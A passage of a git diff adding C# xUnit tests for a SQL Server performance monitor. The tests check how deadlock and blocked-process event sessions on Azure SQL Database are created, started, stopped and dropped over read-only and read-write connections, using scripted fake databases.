+            + prefix + "HINT:  See server log for query details.\n";
+
+        var parsed = Assert.Single(PgDeadlockLogParser.Extract(report));
+        var incident = DarlingWorker.BuildPgDeadlockIncident(new DarlingPgDeadlockReader.PgDeadlockRow(
+            parsed.OccurredAtUtc, parsed.VictimPid, parsed.ParticipantCount, parsed.DeadlockHash,
+            parsed.LockModes, parsed.Resources, parsed.VictimStatement, 1));
+
+        Assert.DoesNotContain(Value, string.Join("|", incident.InvolvedObjects), StringComparison.Ordinal);
+        Assert.DoesNotContain(Value, parsed.GraphText, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/AlwaysOnXeReadOnlyIntentTests.cs b/Darling/Darling.Tests/AlwaysOnXeReadOnlyIntentTests.cs
new file mode 100644
index 0000000000..af1e901050
--- /dev/null
+++ b/Darling/Darling.Tests/AlwaysOnXeReadOnlyIntentTests.cs
@@ -0,0 +1,423 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Data.SqlClient;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Which connection each step of the deadlock and blocked-process sessions' ensure uses on Azure SQL Database, for a
+/// registration with read-only intent and for one without (#4961). A session cannot be created or dropped over a connection
+/// to a read-only replica, and a definition made on the primary replicates to it, so a registration with the intent creates
+/// over a connection without it. The start, the probes and the read stay on the registration's own connection, because run
+/// state is per replica. A session that runs on the replica is stopped there before it is dropped on the primary, on the
+/// switch back and when the server is removed. Each test drives the real ensure against a scripted primary and replica, which
+/// see the connection string each open would use.
+/// </summary>
+public sealed class AlwaysOnXeReadOnlyIntentTests : IAsyncDisposable
+{
+    private const string Host = "intent.database.windows.net";
+    private const string InstallIdValue = "0a1b2c3d";
+
+    /* Never opened: the runner reaches the store only to write collected rows, and these tests collect nothing. */
+    private readonly NpgsqlDataSource _store = NpgsqlDataSource.Create("Host=127.0.0.1;Port=1;Database=unused;Username=unused");
+
+    public ValueTask DisposeAsync() => _store.DisposeAsync();
+
+    private static string Own(AlwaysOnXeSessionKind kind) =>
+        AlwaysOnXeSessions.OwnNameFor(LongQueryCompletionsCollector.DarlingProduct, InstallIdValue, kind);
+
+    private static string Shared(AlwaysOnXeSessionKind kind) => AlwaysOnXeSessions.SharedNameFor(kind);
+
+    private sealed class AlreadyThere : Exception
+    {
+        public AlreadyThere() : base("already there") { }
+    }
+
+    /// <summary>
+    /// One Azure SQL Database as its primary and its read-only replica see it. A definition is made on the primary and
+    /// replicates at once; a session runs on one side or the other, and is started and stopped on its own. The replica
+    /// refuses a create or a drop with error 3906, and the primary refuses a drop while the session still runs on the replica
+    /// (the documented order: stop it there, then drop it on the primary).
+    /// </summary>
+    private sealed class Pair
+    {
+        public HashSet<string> Definitions { get; } = new(StringComparer.Ordinal);
+        public HashSet<string> WrongEvent { get; } = new(StringComparer.Ordinal);
+        public HashSet<string> RunningOnPrimary { get; } = new(StringComparer.Ordinal);
+        public HashSet<string> RunningOnReplica { get; } = new(StringComparer.Ordinal);
+
+        /* Every open, and every call over a connection: its intent, then what it was. */
+        public List<ApplicationIntent> Opens { get; } = new();
+        public List<(ApplicationIntent Intent, string What)> Log { get; } = new();
+
+        /* A database that is read-only itself, reached without the intent: the primary refuses creates too. */
+        public bool PrimaryIsReadOnly { get; set; }
+
+        /// <summary>The (intent, verb) of each statement that names one session, in the order sent.</summary>
+        public List<(ApplicationIntent Intent, string Verb)> Statements(string name) =>
+            Log.Where(e => e.What.StartsWith("DDL ", StringComparison.Ordinal) && e.What.Contains("[" + name + "]", StringComparison.Ordinal))
+               .Select(e => (e.Intent, Verb: e.What["DDL ".Length..e.What.IndexOf(' ', "DDL ".Length)]))
+               .ToList();
+
+        public List<ApplicationIntent> ReadsOf(string prefix) =>
+            Log.Where(e => e.What.StartsWith(prefix, StringComparison.Ordinal)).Select(e => e.Intent).ToList();
+    }
+
+    private sealed class Channel : IAlwaysOnXeDatabase
+    {
+        private readonly Pair _pair;
+        private readonly ApplicationIntent _intent;
+
+        public Channel(Pair pair, ApplicationIntent intent)
+        {
+            _pair = pair;
+            _intent = intent;
+        }
+
+        public Task<AlwaysOnXeCatalog> ReadCatalogAsync(AlwaysOnXeSessionKind kind, string sessionName, CancellationToken cancellationToken)
+        {
+            _pair.Log.Add((_intent, "catalog " + sessionName));
+            return Task.FromResult(
+                !_pair.Definitions.Contains(sessionName) ? AlwaysOnXeCatalog.Missing
+                : _pair.WrongEvent.Contains(sessionName) && kind == AlwaysOnXeSessionKind.Deadlock ? AlwaysOnXeCatalog.WrongEvent
+                : AlwaysOnXeCatalog.Present);
+        }
+
+        public Task<bool> IsStartedAsync(string sessionName, CancellationToken cancellationToken)
+        {
+            _pair.Log.Add((_intent, "started " + sessionName));
+            return Task.FromResult(Running.Contains(sessionName));
+        }
+
+        private HashSet<string> Running => _intent == ApplicationIntent.ReadOnly ? _pair.RunningOnReplica : _pair.RunningOnPrimary;
+
+        public Task ExecuteAsync(string statement, CancellationToken cancellationToken)
+        {
+            var text = statement.TrimStart();
+            var name = text[(text.IndexOf('[') + 1)..text.IndexOf(']')];
+            var creates = text.StartsWith("CREATE EVENT SESSION", StringComparison.Ordinal);
+            var starts = text.Contains("STATE = START", StringComparison.Ordinal);
+            var stops = text.Contains("STATE = STOP", StringComparison.Ordinal);
+            var drops = text.StartsWith("DROP EVENT SESSION", StringComparison.Ordinal);
+            var verb = creates && starts ? "CREATE+START" : creates ? "CREATE" : starts ? "START" : stops ? "STOP" : "DROP";
+            _pair.Log.Add((_intent, "DDL " + verb + " [" + name + "]"));
+
+            if ((creates || drops) && (_intent == ApplicationIntent.ReadOnly || _pair.PrimaryIsReadOnly))
+            {
+                throw ReadOnlyRefusal();
+            }
+
+            if (creates)
+            {
+                if (_pair.Definitions.Contains(name))
+                {
+                    throw new AlreadyThere();
+                }
+
+                _pair.Definitions.Add(name);
+                if (starts)
+                {
+                    Running.Add(name);
+                }
+            }
+            else if (drops)
+            {
+                if (_pair.RunningOnReplica.Contains(name))
+                {
+                    throw new InvalidOperationException("The session still runs on a read-only replica: stop it there first.");
+                }
+
+                _pair.Definitions.Remove(name);
+                _pair.RunningOnPrimary.Remove(name);
+            }
+            else if (starts)
+            {
+                if (!_pair.Definitions.Contains(name))
+                {
+                    throw new InvalidOperationException("The session does not exist.");
+                }
+
+                if (!Running.Add(name))
+                {
+                    throw new AlreadyThere();
+                }
+            }
+            else if (stops && !Running.Remove(name))
+            {
+                throw new InvalidOperationException("The session is not running here.");
+            }
+
+            return Task.CompletedTask;
+        }
+
+        public bool IsAlreadyPresent(Exception exception) => exception is AlreadyThere;
+    }
+
+    private sealed class Rig
+    {
+        public required DarlingCollectorRunner Runner { get; init; }
+        public required ServerRuntime Runtime { get; init; }
+        public Pair Alpha { get; } = new();
+        public DarlingSelfAlertTests.CapturingLogger Logger { get; } = new();
+
+        /* The connection string of every open, in order. */
+        public List<string> OpenedStrings { get; } = new();
+
+        public Task EnsureAsync() => DarlingXeSessions.EnsureAllAsync(Runtime, Runner, Logger, CancellationToken.None);
+
+        /// <summary>
+        /// The server's removal: its long-query trace was never on (nothing to drop there), and no other registration
+        /// reads a session of its own, so every own fallback the choices hold is dropped.
+        /// </summary>
+        public Task RemoveAsync() =>
+            DarlingRemovedServerSessions.DropAsync(
+                new RemovedLongQueryServer(Runtime.Config, Runtime, LongQueryTraceApplied: false),
+                Runner, remaining: null, traceOn: _ => false,
+                instanceGuard: _ => Task.FromResult(LongQueryTraceInstanceGuard.NoKeepers), Logger, CancellationToken.None);
+
+        /// <summary>
+        /// Every line at Warning or above that this routine wrote, whatever it says. Nothing narrows it by a word, so a Warning a
+        /// test does not expect, such as a failed stop or a failed drop, is among them.
+        /// </summary>
+        public List<string> Loud() => Logger.Entries
+            .Where(e => e.Level >= LogLevel.Warning)
+            .Select(e => e.Message)
+            .ToList();
+
+        /// <summary>
+        /// The one line a create that a read-only database refused logs at Warning for a capture: the registration, the database
+        /// and the message that session's kind is worded with.
+        /// </summary>
+        public string ReadOnlyLine(string database, AlwaysOnXeSessionKind kind) =>
+            $"[{Runtime.Config.DisplayName}] [{database}] {AlwaysOnXeSessions.ReadOnlyDatabaseMessage(kind)}";
+    }
+
+    private Rig BuildRig(bool readOnlyIntent)
+    {
+        var config = new MonitoredServer { Name = "alwayson-intent", Host = Host, ReadOnlyIntent = readOnlyIntent };
+        var runtime = new ServerRuntime
+        {
+            Config = config,
+            ConnectionString = $"Server=tcp:{Host},1433;Initial Catalog=master;Encrypt=True;ApplicationIntent={(readOnlyIntent ? "ReadOnly" : "ReadWrite")}",
+            Target = new CollectorTargetInfo { IsAzureSqlDb = true },
+            StorageName = Host,
+            ServerId = 4961,
+        };
+        var runner = new DarlingCollectorRunner(
+            _store,
+            new CollectorDeltaCalculator(),
+            databaseScope: (_, _) => new List<string>(),
+            separatelyMonitoredDatabases: _ => new List<string>(),
+            installId: () => InstallIdValue);
+
+        var rig = new Rig { Runner = runner, Runtime = runtime };
+        runner.AzureDatabaseListOverrideForTests = (_, _) => Task.FromResult(new List<string> { "master", "alpha" });
+        runner.AlwaysOnXeConnectionForTests = (_, database, connectionString, _) =>
+        {
+            /* The removal reads the database name back from the choice's key, which keeps it in upper case. */
+            Assert.Equal("alpha", database, ignoreCase: true);
+            Assert.Equal("alpha", new SqlConnectionStringBuilder(connectionString).InitialCatalog, ignoreCase: true);
+            var intent = new SqlConnectionStringBuilder(connectionString).ApplicationIntent;
+            rig.OpenedStrings.Add(connectionString);
+            rig.Alpha.Opens.Add(intent);
+            return Task.FromResult<IAlwaysOnXeDatabase>(new Channel(rig.Alpha, intent));
+        };
+
+        return rig;
+    }
+
+    private static readonly AlwaysOnXeSessionKind[] Kinds = { AlwaysOnXeSessionKind.Deadlock, AlwaysOnXeSessionKind.BlockedProcess };
+
+    /* ── A registration with read-only intent ── */
+
+    [Fact]
+    public async Task ReadOnlyIntent_ASharedSessionThatIsMissing_IsCreatedOverAConnectionWithoutTheIntent_AndStartedOverTheOwnOne()
+    {
+        var rig = BuildRig(readOnlyIntent: true);
+
+        await rig.EnsureAsync();
+
+        foreach (var kind in Kinds)
+        {
+            var shared = Shared(kind);
+            Assert.Equal(
+                new[] { (ApplicationIntent.ReadWrite, "CREATE"), (ApplicationIntent.ReadOnly, "START") },
+                rig.Alpha.Statements(shared));
+            Assert.Contains(shared, rig.Alpha.RunningOnReplica);
+            Assert.DoesNotContain(shared, rig.Alpha.RunningOnPrimary);
+        }
+
+        /* The probes ran over the registration's own connection, and the read-write one was opened once, for the creates. */
+        Assert.All(rig.Alpha.ReadsOf("catalog "), intent => Assert.Equal(ApplicationIntent.ReadOnly, intent));
+        Assert.All(rig.Alpha.ReadsOf("started "), intent => Assert.Equal(ApplicationIntent.ReadOnly, intent));
+        Assert.Equal(new[] { ApplicationIntent.ReadOnly, ApplicationIntent.ReadWrite }, rig.Alpha.Opens);
+        Assert.Empty(rig.Loud());
+    }
+
+    [Fact]
+    public async Task ReadOnlyIntent_AnOwnFallback_IsCreatedOverAConnectionWithoutTheIntent_AndStartedOverTheOwnOne()
+    {
+        var rig = BuildRig(readOnlyIntent: true);
+        var shared = Shared(AlwaysOnXeSessionKind.Deadlock);
+        rig.Alpha.Definitions.Add(shared);
+        rig.Alpha.WrongEvent.Add(shared);
+        rig.Alpha.RunningOnReplica.Add(shared);
+
+        await rig.EnsureAsync();
+
+        var own = Own(AlwaysOnXeSessionKind.Deadlock);
+        Assert.Equal(
+            new[] { (ApplicationIntent.ReadWrite, "CREATE"), (ApplicationIntent.ReadOnly, "START") },
+            rig.Alpha.Statements(own));
+        Assert.Contains(own, rig.Alpha.RunningOnReplica);
+        Assert.Equal(own, rig.Runner.AlwaysOnReadSessionName(rig.Runtime, "alpha", AlwaysOnXeSessionKind.Deadlock));
+        Assert.Empty(rig.Alpha.Statements(shared));
+    }
+
+    [Fact]
+    public async Task ReadOnlyIntent_SwitchingBack_StopsTheOwnSessionOverTheOwnConnection_ThenDropsItOverAConnectionWithoutTheIntent()
+    {
+        var rig = BuildRig(readOnlyIntent: true);
+        var shared = Shared(AlwaysOnXeSessionKind.Deadlock);
+        var own = Own(AlwaysOnXeSessionKind.Deadlock);
+        rig.Alpha.Definitions.Add(shared);
+        rig.Alpha.WrongEvent.Add(shared);
+        rig.Alpha.RunningOnReplica.Add(shared);
+        await rig.EnsureAsync();
+        Assert.Contains(own, rig.Alpha.RunningOnReplica);
+        rig.Alpha.Log.Clear();
+
+        rig.Alpha.WrongEvent.Clear();
+        await rig.EnsureAsync();
+
+        Assert.Equal(
+            new[] { (ApplicationIntent.ReadOnly, "STOP"), (ApplicationIntent.ReadWrite, "DROP") },
+            rig.Alpha.Statements(own));
+        Assert.DoesNotContain(own, rig.Alpha.Definitions);
+        Assert.Equal(shared, rig.Runner.AlwaysOnReadSessionName(rig.Runtime, "alpha", AlwaysOnXeSessionKind.Deadlock));
+        Assert.DoesNotContain(rig.Alpha.Statements(shared), s => s.Verb is "CREATE" or "CREATE+START" or "DROP");
+    }
+
+    [Fact]
+    public async Task ReadOnlyIntent_ARemovedServer_StopsItsOwnSessionOverTheOwnConnection_ThenDropsItOverAConnectionWithoutTheIntent()
+    {
+        var rig = BuildRig(readOnlyIntent: true);
+        var own = Own(AlwaysOnXeSessionKind.Deadlock);
+        rig.Alpha.Definitions.Add(own);
+        rig.Alpha.RunningOnReplica.Add(own);
+        rig.Runner.AlwaysOnChoices.Set(DarlingAlwaysOnXeSessions.ServerKey(rig.Runtime), "alpha", AlwaysOnXeSessionKind.Deadlock, AlwaysOnXeChoice.Own);
+
+        await rig.RemoveAsync();
+
+        Assert.Equal(
+            new[] { (ApplicationIntent.ReadOnly, "STOP"), (ApplicationIntent.ReadWrite, "DROP") },
+            rig.Alpha.Statements(own));
+        Assert.DoesNotContain(own, rig.Alpha.Definitions);
+        Assert.Empty(rig.Loud());
+    }
+
+    [Fact]
+    public async Task ReadOnlyIntent_ARemovedServer_WhoseOwnSessionDoesNotRunOnTheReplica_DropsItWithoutAStop()
+    {
+        var rig = BuildRig(readOnlyIntent: true);
+        var own = Own(AlwaysOnXeSessionKind.Deadlock);
+        rig.Alpha.Definitions.Add(own);
+        rig.Runner.AlwaysOnChoices.Set(DarlingAlwaysOnXeSessions.ServerKey(rig.Runtime), "alpha", AlwaysOnXeSessionKind.Deadlock, AlwaysOnXeChoice.Own);
+
+        await rig.RemoveAsync();
+
+        Assert.Equal(new[] { (ApplicationIntent.ReadWrite, "DROP") }, rig.Alpha.Statements(own));
+        Assert.DoesNotContain(own, rig.Alpha.Definitions);
+        Assert.Empty(rig.Loud());
+    }
+
+    [Fact]
+    public async Task ReadOnlyIntent_AHealthyDatabase_OpensNoConnectionWithoutTheIntent()
+    {
+        var rig = BuildRig(readOnlyIntent: true);
+        foreach (var kind in Kinds)
+        {
+            rig.Alpha.Definitions.Add(Shared(kind));
+            rig.Alpha.RunningOnReplica.Add(Shared(kind));
+        }
+
+        await rig.EnsureAsync();
+
+        Assert.Equal(new[] { ApplicationIntent.ReadOnly }, rig.Alpha.Opens);
+        Assert.DoesNotContain(rig.Alpha.Log, e => e.What.StartsWith("DDL ", StringComparison.Ordinal));
+    }
+
+    /* ── A registration without it, and on-premises, are unchanged ── */
+
+    [Fact]
+    public async Task NoIntent_EverythingGoesOverTheOwnConnection_AsItAlwaysHas()
+    {
+        var rig = BuildRig(readOnlyIntent: false);
+        var shared = Shared(AlwaysOnXeSessionKind.Deadlock);
+        var own = Own(AlwaysOnXeSessionKind.Deadlock);
+
+        /* The shared create is one batch, with its start. */
+        await rig.EnsureAsync();
+        Assert.Equal(new[] { (ApplicationIntent.ReadWrite, "CREATE+START") }, rig.Alpha.Statements(shared));
+
+        /* A fallback is the same, and its drop on the switch back is the one statement, with no stop first. */
+        rig.Alpha.WrongEvent.Add(shared);
+        rig.Alpha.Log.Clear();
+        await rig.EnsureAsync();
+        Assert.Equal(new[] { (ApplicationIntent.ReadWrite, "CREATE+START") }, rig.Alpha.Statements(own));
+        rig.Alpha.WrongEvent.Clear();
+        rig.Alpha.Log.Clear();
+        await rig.EnsureAsync();
+        Assert.Equal(new[] { (ApplicationIntent.ReadWrite, "DROP") }, rig.Alpha.Statements(own));
+
+        Assert.All(rig.Alpha.Opens, intent => Assert.Equal(ApplicationIntent.ReadWrite, intent));
+        Assert.Equal(3, rig.Alpha.Opens.Count);
+    }
+
+    /* ── A read-only database reached without the intent (an Azure geo-secondary) ── */
+
+    [Fact]
+    public async Task AReadOnlyDatabaseWithoutTheIntent_LogsTheReadOnlyExplanationOnce_NotTheCapsSentence_AndTheRetriesStayQuiet()
+    {
+        var rig = BuildRig(readOnlyIntent: false);
+        rig.Alpha.PrimaryIsReadOnly = true;
+
+        await rig.EnsureAsync();
+
+        /* One line a capture at Warning or above, whatever it says, and each is the read-only message: why, and what to change. */
+        var expected = Kinds.Select(kind => rig.ReadOnlyLine("alpha", kind)).OrderBy(line => line, StringComparer.Ordinal).ToList();
+        Assert.Equal(expected, rig.Loud().OrderBy(line => line, StringComparer.Ordinal));
+        Assert.All(rig.Loud(), line =>
+        {
+            Assert.Contains("read-only", line, StringComparison.Ordinal);
+            Assert.Contains("3906", line, StringComparison.Ordinal);
+            Assert.Contains("Register the primary database instead", line, StringComparison.Ordinal);
+            Assert.DoesNotContain(AlwaysOnXeSessions.AzureCapsSentence, line, StringComparison.Ordinal);
+        });
+
+        /* The pass an hour later asks again, and says nothing new at Warning. */
+        await rig.EnsureAsync();
+        await rig.EnsureAsync();
+        Assert.Equal(expected, rig.Loud().OrderBy(line => line, StringComparer.Ordinal));
+    }
+
+    private static SqlException ReadOnlyRefusal() =>
+        LongQueryTraceReadOnlyIntentTests.SqlExceptionFactory.Create(
+            LongQueryTraceDatabases.ReadOnlyDatabaseErrorNumber, 16, "Failed to update database because the database is read-only.");
+}
diff --git a/Darling/Darling.Tests/AlwaysOnXeSessionsTests.cs b/Darling/Darling.Tests/AlwaysOnXeSessionsTests.cs
new file mode 100644
index 0000000000..f1dcd96f7c
--- /dev/null
+++ b/Darling/Darling.Tests/AlwaysOnXeSessionsTests.cs
@@ -0,0 +1,337 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging.Abstractions;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The deadlock and blocked-process sessions on Azure SQL Database (#4961), as the service ensures them: a stopped shared
+/// session gets a start by name, one that stays unusable sends the install to its own session, the install switches back
+/// once the shared one reads back usable, no path drops a shared-name session, and the read takes the name the ensure chose.
+/// The service ensures at connect and then once an hour, so a session dropped from outside comes back within the hour. Each
+/// test drives the real ensure against a scripted database, so no server or store is needed.
+/// </summary>
+public sealed class AlwaysOnXeSessionsTests : IAsyncDisposable
+{
+    private const string Host = "alwayson.database.windows.net";
+    private const string InstallIdValue = "0a1b2c3d";
+
+    /* Never opened: the runner reaches the store only to write collected rows, and these tests collect nothing. */
+    private readonly NpgsqlDataSource _store = NpgsqlDataSource.Create("Host=127.0.0.1;Port=1;Database=unused;Username=unused");
+
+    public ValueTask DisposeAsync() => _store.DisposeAsync();
+
+    private static string Own(AlwaysOnXeSessionKind kind) =>
+        AlwaysOnXeSessions.OwnNameFor(LongQueryCompletionsCollector.DarlingProduct, InstallIdValue, kind);
+
+    [Theory]
+    [InlineData(AlwaysOnXeSessionKind.Deadlock)]
+    [InlineData(AlwaysOnXeSessionKind.BlockedProcess)]
+    public void TheSharedSessionStartsWithTheDatabase_AndThisInstallsOwnFallbackSessionDoesNot(AlwaysOnXeSessionKind kind)
+    {
+        var shared = AlwaysOnXeSessions.BuildAzureCreateSql(kind, AlwaysOnXeSessions.SharedNameFor(kind));
+        var own = AlwaysOnXeSessions.BuildAzureCreateSql(kind, Own(kind));
+
+        Assert.Contains("STARTUP_STATE = ON", shared, StringComparison.Ordinal);
+        Assert.DoesNotContain("STARTUP_STATE = OFF", shared, StringComparison.Ordinal);
+        Assert.Contains("STARTUP_STATE = OFF", own, StringComparison.Ordinal);
+        Assert.DoesNotContain("STARTUP_STATE = ON", own, StringComparison.Ordinal);
+    }
+
+    private sealed class AlreadyThere : Exception
+    {
+        public AlreadyThere() : base("already there") { }
+    }
+
+    /// <summary>One Azure SQL Database as the ensure sees it: a catalog, a started-sessions DMV, and the statements sent.</summary>
+    private sealed class ScriptedDatabase : IAlwaysOnXeDatabase
+    {
+        public Dictionary<string, bool> Started { get; } = new(StringComparer.Ordinal);
+        public HashSet<string> WrongEvent { get; } = new(StringComparer.Ordinal);
+        public List<string> Statements { get; } = new();
+        public Exception? CreateFailure { get; set; }
+
+        public Task<AlwaysOnXeCatalog> ReadCatalogAsync(AlwaysOnXeSessionKind kind, string sessionName, CancellationToken cancellationToken) =>
+            Task.FromResult(
+                !Started.ContainsKey(sessionName) ? AlwaysOnXeCatalog.Missing
+                : WrongEvent.Contains(sessionName) && kind == AlwaysOnXeSessionKind.Deadlock ? AlwaysOnXeCatalog.WrongEvent
+                : AlwaysOnXeCatalog.Present);
+
+        public Task<bool> IsStartedAsync(string sessionName, CancellationToken cancellationToken) =>
+            Task.FromResult(Started.TryGetValue(sessionName, out var started) && started);
+
+        public Task ExecuteAsync(string statement, CancellationToken cancellationToken)
+        {
+            Statements.Add(statement);
+            var name = statement[(statement.IndexOf('[') + 1)..statement.IndexOf(']')];
+
+            if (statement.TrimStart().StartsWith("CREATE EVENT SESSION", StringComparison.Ordinal))
+            {
+                if (CreateFailure is not null)
+                {
+                    throw CreateFailure;
+                }
+
+                if (Started.ContainsKey(name))
+                {
+                    throw new AlreadyThere();
+                }
+
+                Started[name] = true;
+            }
+            else if (statement.StartsWith("ALTER EVENT SESSION", StringComparison.Ordinal))
+            {
+                if (Started.TryGetValue(name, out var already) && already)
+                {
+                    throw new AlreadyThere();
+                }
+
+                Started[name] = true;
+            }
+            else if (statement.StartsWith("DROP EVENT SESSION", StringComparison.Ordinal))
+            {
+                Started.Remove(name);
+            }
+
+            return Task.CompletedTask;
+        }
+
+        public bool IsAlreadyPresent(Exception exception) => exception is AlreadyThere;
+
+        public int Created(string name) =>
+            Statements.Count(s => s.TrimStart().StartsWith("CREATE EVENT SESSION [" + name + "]", StringComparison.Ordinal));
+
+        public bool Sent(string prefix, string name) =>
+            Statements.Any(s => s.TrimStart().StartsWith(prefix + " [" + name + "]", StringComparison.Ordinal));
+    }
+
+    private sealed class Rig
+    {
+        public required DarlingCollectorRunner Runner { get; init; }
+        public required ServerRuntime Runtime { get; init; }
+        public required DarlingWorker.ServerLoopState State { get; init; }
+        public ScriptedDatabase Alpha { get; } = new();
+        public ScriptedDatabase Beta { get; } = new();
+        public int ServerScopedEnsures { get; set; }
+    }
+
+    private Rig BuildRig(bool azureSqlDatabase = true)
+    {
+        var config = new MonitoredServer { Name = "alwayson", Host = Host };
+        var runtime = new ServerRuntime
+        {
+            Config = config,
+            ConnectionString = $"Server=tcp:{Host},1433;Initial Catalog=master;Encrypt=True",
+            Target = new CollectorTargetInfo { IsAzureSqlDb = azureSqlDatabase },
+            StorageName = Host,
+            ServerId = 4242,
+        };
+        var runner = new DarlingCollectorRunner(
+            _store,
+            new CollectorDeltaCalculator(),
+            databaseScope: (_, _) => new List<string>(),
+            separatelyMonitoredDatabases: _ => new List<string>(),
+            installId: () => InstallIdValue);
+
+        var rig = new Rig
+        {
+            Runner = runner,
+            Runtime = runtime,
+            State = new DarlingWorker.ServerLoopState { Config = config, Runtime = runtime },
+        };
+
+        runner.AzureDatabaseListOverrideForTests = (_, _) => Task.FromResult(new List<string> { "master", "alpha", "beta" });
+        runner.AlwaysOnXeDatabaseForTests = (_, database, _) =>
+            Task.FromResult<IAlwaysOnXeDatabase>(string.Equals(database, "alpha", StringComparison.OrdinalIgnoreCase) ? rig.Alpha : rig.Beta);
+        runner.XeEnsureOverrideForTests = (_, _) =>
+        {
+            rig.ServerScopedEnsures++;
+            return Task.CompletedTask;
+        };
+
+        return rig;
+    }
+
+    private static Task EnsureAsync(Rig rig) =>
+        DarlingXeSessions.EnsureAllAsync(rig.Runtime, rig.Runner, NullLogger.Instance, CancellationToken.None);
+
+    /* Test 16: a stopped shared session gets a START by name and no fallback. */
+    [Fact]
+    public async Task AStoppedSharedSession_GetsAStartByName_AndNoFallback()
+    {
+        var rig = BuildRig();
+        rig.Runner.XeEnsureOverrideForTests = null;
+        var deadlock = AlwaysOnXeSessions.SharedNameFor(AlwaysOnXeSessionKind.Deadlock);
+        var blocked = AlwaysOnXeSessions.SharedNameFor(AlwaysOnXeSessionKind.BlockedProcess);
+        rig.Alpha.Started[deadlock] = false;
+        rig.Alpha.Started[blocked] = false;
+
+        await EnsureAsync(rig);
+
+        Assert.True(rig.Alpha.Started[deadlock]);
+        Assert.True(rig.Alpha.Started[blocked]);
+        Assert.Equal(0, rig.Alpha.Created(Own(AlwaysOnXeSessionKind.Deadlock)));
+        Assert.Equal(deadlock, rig.Runner.AlwaysOnReadSessionName(rig.Runtime, "alpha", AlwaysOnXeSessionKind.Deadlock));
+        Assert.DoesNotContain(rig.Alpha.Statements, s => s.StartsWith("DROP", StringComparison.Ordinal));
+    }
+
+    /* Tests 15 and 17: a shared deadlock session without the deadlock event is never dropped, the install reads its own. */
+    [Fact]
+    public async Task ASharedDeadlockSessionWithoutTheDeadlockEvent_IsNeverDropped_AndTheReadTakesTheOwnName()
+    {
+        var rig = BuildRig();
+        rig.Runner.XeEnsureOverrideForTests = null;
+        var shared = AlwaysOnXeSessions.SharedNameFor(AlwaysOnXeSessionKind.Deadlock);
+        rig.Alpha.Started[shared] = true;
+        rig.Alpha.WrongEvent.Add(shared);
+
+        await EnsureAsync(rig);
+
+        Assert.False(rig.Alpha.Sent("DROP EVENT SESSION", shared));
+        Assert.Equal(Own(AlwaysOnXeSessionKind.Deadlock), rig.Runner.AlwaysOnReadSessionName(rig.Runtime, "alpha", AlwaysOnXeSessionKind.Deadlock));
+        Assert.Equal(shared, rig.Runner.AlwaysOnReadSessionName(rig.Runtime, "beta", AlwaysOnXeSessionKind.Deadlock));
+        Assert.Contains("STARTUP_STATE = OFF", rig.Alpha.Statements.Single(s => s.Contains("CREATE EVENT SESSION [" + Own(AlwaysOnXeSessionKind.Deadlock) + "]", StringComparison.Ordinal)), StringComparison.Ordinal);
+    }
+
+    /* Test 18: a shared session that reads back usable makes the install drop its fallback and switch back. */
+    [Fact]
+    public async Task TheInstallOnItsOwnSession_DropsItAndSwitchesBack_WhenTheSharedSessionReadsBackUsable()
+    {
+        var rig = BuildRig();
+        rig.Runner.XeEnsureOverrideForTests = null;
+        var shared = AlwaysOnXeSessions.SharedNameFor(AlwaysOnXeSessionKind.Deadlock);
+        rig.Alpha.Started[shared] = true;
+        rig.Alpha.WrongEvent.Add(shared);
+        await EnsureAsync(rig);
+        Assert.True(rig.Alpha.Started.ContainsKey(Own(AlwaysOnXeSessionKind.Deadlock)));
+
+        rig.Alpha.WrongEvent.Clear();
+        await EnsureAsync(rig);
+
+        Assert.False(rig.Alpha.Started.ContainsKey(Own(AlwaysOnXeSessionKind.Deadlock)));
+        Assert.True(rig.Alpha.Sent("DROP EVENT SESSION", Own(AlwaysOnXeSessionKind.Deadlock)));
+        Assert.False(rig.Alpha.Sent("DROP EVENT SESSION", shared));
+        Assert.Equal(shared, rig.Runner.AlwaysOnReadSessionName(rig.Runtime, "alpha", AlwaysOnXeSessionKind.Deadlock));
+    }
+
+    /* Test 19, Azure: sessions dropped from outside come back within the hour, and not before it. */
+    [Fact]
+    public async Task AzureSessionsDroppedFromOutside_ComeBackWithinTheHour()
+    {
+        var rig = BuildRig();
+        rig.Runner.XeEnsureOverrideForTests = null;
+        var start = new DateTime(2026, 1, 1, 12, 0, 0, DateTimeKind.Utc);
+        var deadlock = AlwaysOnXeSessions.SharedNameFor(AlwaysOnXeSessionKind.Deadlock);
+        var blocked = AlwaysOnXeSessions.SharedNameFor(AlwaysOnXeSessionKind.BlockedProcess);
+
+        await DarlingWorker.EnsureAlwaysOnXeSessionsAsync(rig.State, rig.Runner, start, NullLogger.Instance, CancellationToken.None);
+        Assert.True(rig.Alpha.Started[deadlock]);
+        Assert.True(rig.Beta.Started[blocked]);
+
+        rig.Alpha.Started.Clear();
+        rig.Beta.Started.Clear();
+        await DarlingWorker.EnsureAlwaysOnXeSessionsAsync(rig.State, rig.Runner, start.AddMinutes(30), NullLogger.Instance, CancellationToken.None);
+        Assert.Empty(rig.Alpha.Started);
+
+        await DarlingWorker.EnsureAlwaysOnXeSessionsAsync(rig.State, rig.Runner, start.AddMinutes(61), NullLogger.Instance, CancellationToken.None);
+        Assert.True(rig.Alpha.Started[deadlock]);
+        Assert.True(rig.Alpha.Started[blocked]);
+        Assert.True(rig.Beta.Started[deadlock]);
+        Assert.True(rig.Beta.Started[blocked]);
+    }
+
+    /* Test 19, server scope: the ensure runs once an hour as well as at connect. */
+    [Fact]
+    public async Task TheServerScopedEnsure_RunsAgainOnceTheHourIsUp()
